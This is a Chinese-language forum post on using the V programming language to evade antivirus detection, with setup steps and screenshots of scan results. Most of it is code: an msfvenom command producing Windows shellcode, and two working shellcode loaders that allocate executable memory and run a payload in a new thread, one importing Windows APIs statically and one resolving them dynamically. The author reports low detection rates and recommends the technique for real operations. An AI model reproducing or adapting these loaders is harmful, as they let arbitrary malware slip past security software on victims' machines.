电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 535 人浏览分享

VLang免杀实践

[复制链接]
535 0
本帖最后由 zhaorong 于 2022-5-20 14:34 编辑

前言

VLang是2019发布的一款开源静态类型语言,最近在github趋势榜上一直占有一席之地VLang语法跟go
语言非常相似,熟悉go语言就相当于掌握了80%的v语言,有兴趣可以去官网仔细查看。
就像GoLang,Nim等语言刚出来时一样,杀软对新的语言查杀力度并不大,此文章将进行一定探索。

注:笔者测试时VLang最新版本为0.2.4,此篇文章主要进行相关代码编写以及定性分析不
对vlang编译原理以及程序实现原理进行深入探索。

Windows32位系统下VLang 安装

由于笔者在64位系统下使用VLang编译32位程序老是出问题,故使用32位win10_1808纯净虚拟机进行安装编译。

安装步骤:

安装git
安装llvm-mingw(加入环境变量)
git clone https://github.com/vlang/v
git clone https://github.com/vlang/tccbin -b thirdparty-windows-i386
move tccbin/* v/thirdparty/tcc/
cd v
git clone --depth=1 https://github.com/vlang/vc
.\make.bat -tcc32
将v文件夹加入环境变量
注:第8步可以考虑利用make.bat使用其他编译器解析编译比如clang, gcc等
可能会对后续实验结果有影响。

QQ截图20220520142431.png

后面编译测试都在此环境下进行

程序执行免杀测试

hello word杀软测试

module main
fn main() {
        println('hello word')
}

使用 v file.v 进行编译,杀软查杀情况

QQ截图20220520142539.png

由于默认编译选项会有很多V语言自带函数,查杀较多

630.png

使用 v -prod file.v 去掉一些调试用的函数

66.png

动态加载函数免杀测试

module main
import dl
type Exec = fn (string, int) int
fn main() {
        h := dl.open('kernel32', dl.rtld_now)
        mut proc := &Exec(0)
        proc = dl.sym(h, 'WinExec')
        res := proc("calc.exe",2)
        println(res)
}

29.png

无变化

shellcode免杀测试

msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -f c >> 1.txt

ed -e 's/\x/,0x/g' -e 's/"\\,//g' -e 's/\\//g' -e 's/"/,/g' 1.txt

生成shellcode

静态导入高危函数

module main
import time
#flag -luser3 //加个2  敏感词???
#flag -lkernel32
fn C.VirtualAlloc(voidptr, usize, u32, u32) voidptr
fn C.RtlMoveMemory(voidptr, voidptr, usize)
fn C.CreateThread(voidptr, usize, voidptr, voidptr, u32, &u32) voidptr
fn inject(shellcode []byte) bool {
    address_pointer := C.VirtualAlloc(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)
    println(address_pointer)
    C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len)
         C.CreateThread(voidptr(0), usize(0), voidptr(address_pointer), voidptr(0), 0, &u32(0))
        time.sleep(1000* time.millisecond)
    return true
}
fn main() {
    shellcode :=  [
        byte(0xda)...]
    inject(shellcode)
}

28.png

动态导入高危函数

module main
import time
import dl

type VirtualAlloc=fn (voidptr, usize, u32, u32) voidptr
type RtlMoveMemory=fn (voidptr, voidptr, usize) voidptr
type CreateThread= fn (voidptr, usize, voidptr, voidptr, u32, &u32) voidptr
fn inject(shellcode []byte) bool {
        h := dl.open('kernel32', dl.rtld_lazy)
        mut cvir := &VirtualAlloc(0)
        cvir = dl.sym(h, 'VirtualAlloc')
    address_pointer :=cvir(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)
        println(address_pointer)
        h2 := dl.open('kernel32', dl.rtld_lazy)//-prod的奇怪现象
        mut crtl := &RtlMoveMemory(0)
        crtl = dl.sym(h2, 'RtlMoveMemory')
   crtl(address_pointer, voidptr(shellcode.data), usize(shellcode.len))
   h3 := dl.open('kernel32', dl.rtld_lazy)
mut ccth := &CreateThread(0)
        ccth = dl.sym(h3, 'CreateThread')
        ccth(voidptr(0), usize(0), voidptr(address_pointer), voidptr(0), u32(0), &u32(0))
        time.sleep(1000* time.millisecond)
    return true
}

fn main() {
    shellcode :=  [
        byte(0xda)...]
    inject(shellcode)
}

动态导入多个函数有个比较奇怪的现象:如果都用h的sym那么使用v run file.v或者v file.v可以正常执
行shellcode,但是如果使用-prod编译文件,将出现下面错误,所以使用了多次dl.open。

16.png

最后杀软查杀情况与hello word比就只增加了一个。

12.png

火绒:

11.png

360:

10.png


总结

从上面情况看VLang的免杀效果还是不错的,和go相比,v在编程上语法更简单,更符合笔者的编程习惯编译程
序也比较小,和C编译出来的差不多,也支持跨平台,甚至在之后的0.3版本中,v将支持c代码直接转v代码但是
由于v的一些编译实现机制,正常程序造成误杀的可能性比较大。正常实战中,可以考虑使用v搞些事情。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.